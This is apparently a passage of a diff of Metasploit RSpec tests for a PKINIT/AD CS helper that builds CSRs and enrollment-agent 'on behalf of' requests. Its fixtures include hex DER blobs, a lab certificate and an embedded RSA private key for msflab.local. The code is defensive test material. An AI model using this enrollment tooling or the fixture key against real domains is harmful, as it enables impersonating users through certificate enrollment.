"\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \
|
||||
"\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \
|
||||
"\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \
|
||||
"\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \
|
||||
"\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \
|
||||
"\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \
|
||||
"\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \
|
||||
"\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \
|
||||
"\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \
|
||||
"\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \
|
||||
"\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \
|
||||
"\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \
|
||||
"\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \
|
||||
"\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \
|
||||
"\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \
|
||||
"\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \
|
||||
"\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \
|
||||
"\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \
|
||||
"\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \
|
||||
"\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \
|
||||
"\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \
|
||||
"\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \
|
||||
"\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \
|
||||
"\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \
|
||||
"\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \
|
||||
"\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \
|
||||
"\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \
|
||||
"\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \
|
||||
"\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \
|
||||
"\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \
|
||||
"\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \
|
||||
"\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \
|
||||
"\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \
|
||||
"\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \
|
||||
"\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \
|
||||
"\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \
|
||||
"\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \
|
||||
"\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \
|
||||
"\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \
|
||||
"\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \
|
||||
"\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \
|
||||
"\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \
|
||||
"\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \
|
||||
"\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \
|
||||
"\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \
|
||||
"\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \
|
||||
"\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \
|
||||
"\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \
|
||||
"\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \
|
||||
"\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \
|
||||
"\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \
|
||||
"\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \
|
||||
"\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \
|
||||
"\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \
|
||||
"\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \
|
||||
"\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \
|
||||
"\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \
|
||||
"\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \
|
||||
"\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \
|
||||
"\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \
|
||||
"\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6"
|
||||
)
|
||||
end
|
||||
|
||||
describe '.create_csr' do
|
||||
let(:result) { described_class.build_csr(private_key: pkcs12_key, cn: 'aliddle' )}
|
||||
it 'return a Request object' do
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
context 'when building' do
|
||||
it 'return a Request object' do
|
||||
expect(result).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
end
|
||||
it 'should respond to #to_der' do
|
||||
expect(result).to respond_to(:to_der)
|
||||
end
|
||||
it 'should be correct' do
|
||||
expect(result.to_der).to eq(x509_csr.to_der)
|
||||
end
|
||||
context 'when passed a bad algorithm' do
|
||||
it 'raises a RuntimeError if the algorithm does not exist' do
|
||||
expect {
|
||||
described_class.build_csr(private_key: pkcs12_key,
|
||||
cn: 'aliddle',
|
||||
algorithm: 'METASPLOIT')
|
||||
}.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#build_on_behalf_of' do
|
||||
context 'when building' do
|
||||
let(:result) {
|
||||
described_class.build_on_behalf_of(
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key)}
|
||||
|
||||
it 'return a ContentInfo object' do
|
||||
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
|
||||
end
|
||||
|
||||
it 'should respond to #to_der' do
|
||||
expect(result).to respond_to(:to_der)
|
||||
end
|
||||
|
||||
it 'should be correct' do
|
||||
expect(result.to_der).to eq(content_info.to_der)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when passed a bad algorithm' do
|
||||
it 'raises a RuntimeError if the algorithm does not exist' do
|
||||
expect {
|
||||
described_class.build_on_behalf_of(
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'METASPLOIT'
|
||||
)
|
||||
}.to raise_error(RuntimeError)
|
||||
end
|
||||
it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do
|
||||
expect {
|
||||
described_class.build_on_behalf_of(
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'MD4'
|
||||
)
|
||||
}.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
describe '.create_csr' do
|
||||
it 'returns an OpenSSL::X509::Request' do
|
||||
expect(described_class.create_csr(pkcs12_key, 'testuser')).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
|
||||
it 'sets the CN in the subject' do
|
||||
result = described_class.create_csr(pkcs12_key, 'testuser')
|
||||
cn_entry = result.subject.to_a.find { |oid, _value, _type| oid == 'CN' }
|
||||
expect(cn_entry[1]).to eq('testuser')
|
||||
end
|
||||
|
||||
it 'embeds the correct public key' do
|
||||
result = described_class.create_csr(pkcs12_key, 'testuser')
|
||||
expect(result.public_key.to_der).to eq(pkcs12_key.public_key.to_der)
|
||||
end
|
||||
|
||||
it 'produces a CSR that verifies with the private key' do
|
||||
result = described_class.create_csr(pkcs12_key, 'testuser')
|
||||
expect(result.verify(pkcs12_key.public_key)).to be true
|
||||
end
|
||||
|
||||
it 'uses SHA256 by default' do
|
||||
result = described_class.create_csr(pkcs12_key, 'testuser')
|
||||
expect(result.signature_algorithm).to eq('sha256WithRSAEncryption')
|
||||
end
|
||||
|
||||
it 'uses the provided algorithm' do
|
||||
result = described_class.create_csr(pkcs12_key, 'testuser', 'SHA512')
|
||||
expect(result.signature_algorithm).to eq('sha512WithRSAEncryption')
|
||||
end
|
||||
|
||||
it 'yields the request to the block before signing' do
|
||||
yielded_request = nil
|
||||
described_class.create_csr(pkcs12_key, 'testuser') { |req| yielded_request = req }
|
||||
expect(yielded_request).to be_a(OpenSSL::X509::Request)
|
||||
end
|
||||
|
||||
it 'produces a valid CSR even when the block does not modify the request' do
|
||||
result = described_class.create_csr(pkcs12_key, 'testuser') { |_req| }
|
||||
expect(result.verify(pkcs12_key.public_key)).to be true
|
||||
end
|
||||
end
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
describe '.build_csr — subject, key and signature' do
|
||||
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key) }
|
||||
|
||||
it 'sets the CN in the subject' do
|
||||
cn_entry = result.subject.to_a.find { |oid, _value, _type| oid == 'CN' }
|
||||
expect(cn_entry[1]).to eq('alice')
|
||||
end
|
||||
|
||||
it 'embeds the correct public key' do
|
||||
expect(result.public_key.to_der).to eq(pkcs12_key.public_key.to_der)
|
||||
end
|
||||
|
||||
it 'produces a CSR that verifies with the private key' do
|
||||
expect(result.verify(pkcs12_key.public_key)).to be true
|
||||
end
|
||||
|
||||
it 'uses SHA256 by default' do
|
||||
expect(result.signature_algorithm).to eq('sha256WithRSAEncryption')
|
||||
end
|
||||
end
|
||||
|
||||
describe '.build_csr — algorithm' do
|
||||
it 'uses SHA512 when requested' do
|
||||
result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA512')
|
||||
expect(result.signature_algorithm).to eq('sha512WithRSAEncryption')
|
||||
end
|
||||
|
||||
it 'produces a valid SHA512-signed CSR' do
|
||||
result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA512')
|
||||
expect(result.verify(pkcs12_key.public_key)).to be true
|
||||
end
|
||||
|
||||
it 'uses SHA1 when requested' do
|
||||
result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key, algorithm: 'SHA1')
|
||||
expect(result.signature_algorithm).to eq('sha1WithRSAEncryption')
|
||||
end
|
||||
end
|
||||
|
||||
describe '.build_csr — extensions' do
|
||||
context 'with no optional params' do
|
||||
it 'does not add an extReq attribute' do
|
||||
result = described_class.build_csr(cn: 'alice', private_key: pkcs12_key)
|
||||
expect(result.attributes.map(&:oid)).not_to include('extReq')
|
||||
end
|
||||
end
|
||||
|
||||
context 'with dns:' do
|
||||
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, dns: 'host.example.com') }
|
||||
|
||||
it 'adds an extReq attribute' do
|
||||
expect(result.attributes.map(&:oid)).to include('extReq')
|
||||
end
|
||||
|
||||
it 'embeds the DNS name in the CSR' do
|
||||
expect(result.to_der).to include('host.example.com')
|
||||
end
|
||||
|
||||
it 'still produces a verifiable CSR' do
|
||||
expect(result.verify(pkcs12_key.public_key)).to be true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with msext_upn:' do
|
||||
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, msext_upn: 'alice@example.com') }
|
||||
|
||||
it 'adds an extReq attribute' do
|
||||
expect(result.attributes.map(&:oid)).to include('extReq')
|
||||
end
|
||||
|
||||
it 'embeds the UPN in the CSR' do
|
||||
expect(result.to_der).to include('alice@example.com')
|
||||
end
|
||||
|
||||
it 'still produces a verifiable CSR' do
|
||||
expect(result.verify(pkcs12_key.public_key)).to be true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with application_policies:' do
|
||||
let(:policy_oid) { '1.3.6.1.5.5.7.3.2' }
|
||||
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, application_policies: [policy_oid]) }
|
||||
|
||||
it 'adds an extReq attribute' do
|
||||
expect(result.attributes.map(&:oid)).to include('extReq')
|
||||
end
|
||||
|
||||
it 'embeds the policy OID in the CSR' do
|
||||
policy_oid_der = OpenSSL::ASN1::ObjectId.new(policy_oid).to_der
|
||||
expect(result.to_der).to include(policy_oid_der)
|
||||
end
|
||||
|
||||
it 'still produces a verifiable CSR' do
|
||||
expect(result.verify(pkcs12_key.public_key)).to be true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with multiple application policies' do
|
||||
let(:policy_oids) { ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4'] }
|
||||
let(:result) { described_class.build_csr(cn: 'alice', private_key: pkcs12_key, application_policies: policy_oids) }
|
||||
|
||||
it 'embeds all policy OIDs in the CSR' do
|
||||
policy_oids.each do |oid|
|
||||
expect(result.to_der).to include(OpenSSL::ASN1::ObjectId.new(oid).to_der)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'with dns: and msext_upn: combined' do
|
||||
let(:result) do
|
||||
described_class.build_csr(
|
||||
cn: 'alice',
|
||||
private_key: pkcs12_key,
|
||||
dns: 'host.example.com',
|
||||
msext_upn: 'alice@example.com'
|
||||
)
|
||||
end
|
||||
|
||||
it 'embeds both the DNS name and the UPN' do
|
||||
expect(result.to_der).to include('host.example.com')
|
||||
expect(result.to_der).to include('alice@example.com')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
describe '#build_on_behalf_of — algorithm variants' do
|
||||
it 'accepts SHA512 and returns a ContentInfo' do
|
||||
result = described_class.build_on_behalf_of(
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'SHA512'
|
||||
)
|
||||
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
|
||||
end
|
||||
|
||||
it 'produces serialisable output with SHA512' do
|
||||
result = described_class.build_on_behalf_of(
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'SHA512'
|
||||
)
|
||||
expect { result.to_der }.not_to raise_error
|
||||
end
|
||||
|
||||
it 'accepts SHA1 and returns a ContentInfo' do
|
||||
result = described_class.build_on_behalf_of(
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key,
|
||||
algorithm: 'SHA1'
|
||||
)
|
||||
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#build_on_behalf_of — encapsulated content' do
|
||||
let(:result) do
|
||||
described_class.build_on_behalf_of(
|
||||
csr: x509_csr,
|
||||
on_behalf_of: 'MSFLAB\\smcintyre',
|
||||
cert: pkcs12_certificate,
|
||||
key: pkcs12_key
|
||||
)
|
||||
end
|
||||
|
||||
it 'embeds the original CSR DER in the output' do
|
||||
expect(result.to_der).to include(x509_csr.to_der)
|
||||
end
|
||||
|
||||
it 'embeds the on_behalf_of username in the signed attributes' do
|
||||
# The username is encoded as a BMPString (UCS-2 big-endian) in the EnrollmentNameValuePair
|
||||
ucs2_username = 'MSFLAB\\smcintyre'.encode('UTF-16BE').b
|
||||
expect(result.to_der).to include(ucs2_username)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,371 +0,0 @@
|
||||
require 'rspec'
|
||||
require 'rex/proto/kerberos/model/pkinit'
|
||||
|
||||
RSpec.describe 'dcerpc icpr_cert' do
|
||||
include_context 'Msf::UIDriver'
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
|
||||
let(:subject) do
|
||||
load_and_create_module(
|
||||
module_type: 'auxiliary',
|
||||
reference_name: 'admin/dcerpc/icpr_cert'
|
||||
)
|
||||
end
|
||||
|
||||
let(:pkcs12_certificate) do
|
||||
OpenSSL::X509::Certificate.new(<<~CERTIFICATE)
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF
|
||||
ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs
|
||||
YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx
|
||||
MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk
|
||||
ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs
|
||||
ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9
|
||||
j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg
|
||||
6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l
|
||||
l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD
|
||||
jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx
|
||||
idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4
|
||||
MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU
|
||||
uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk
|
||||
YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL
|
||||
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z
|
||||
ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq
|
||||
ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv
|
||||
MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD
|
||||
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
|
||||
cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
|
||||
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw
|
||||
PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX
|
||||
hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG
|
||||
CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH
|
||||
AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud
|
||||
EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp
|
||||
ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB
|
||||
oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx
|
||||
MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC
|
||||
AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx
|
||||
2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp
|
||||
rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN
|
||||
3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL
|
||||
bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu
|
||||
bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ
|
||||
MPqLl/D4OpKpcKz8
|
||||
-----END CERTIFICATE-----
|
||||
CERTIFICATE
|
||||
end
|
||||
|
||||
let(:pkcs12_key) do
|
||||
OpenSSL::PKey::RSA.new(<<~KEY)
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN
|
||||
Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM
|
||||
MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI
|
||||
G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7
|
||||
3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6
|
||||
B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9
|
||||
OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX
|
||||
pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm
|
||||
/hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs
|
||||
5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx
|
||||
VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h
|
||||
SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94
|
||||
MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX
|
||||
xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5
|
||||
hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g
|
||||
m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ
|
||||
/NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt
|
||||
NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib
|
||||
KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M
|
||||
IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG
|
||||
2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe
|
||||
VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+
|
||||
syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8
|
||||
aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO
|
||||
C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
KEY
|
||||
end
|
||||
|
||||
let(:x509_csr) do
|
||||
OpenSSL::X509::Request.new(<<~REQUEST)
|
||||
-----BEGIN CERTIFICATE REQUEST-----
|
||||
MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB
|
||||
BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV
|
||||
kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT
|
||||
mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU
|
||||
DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT
|
||||
uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL
|
||||
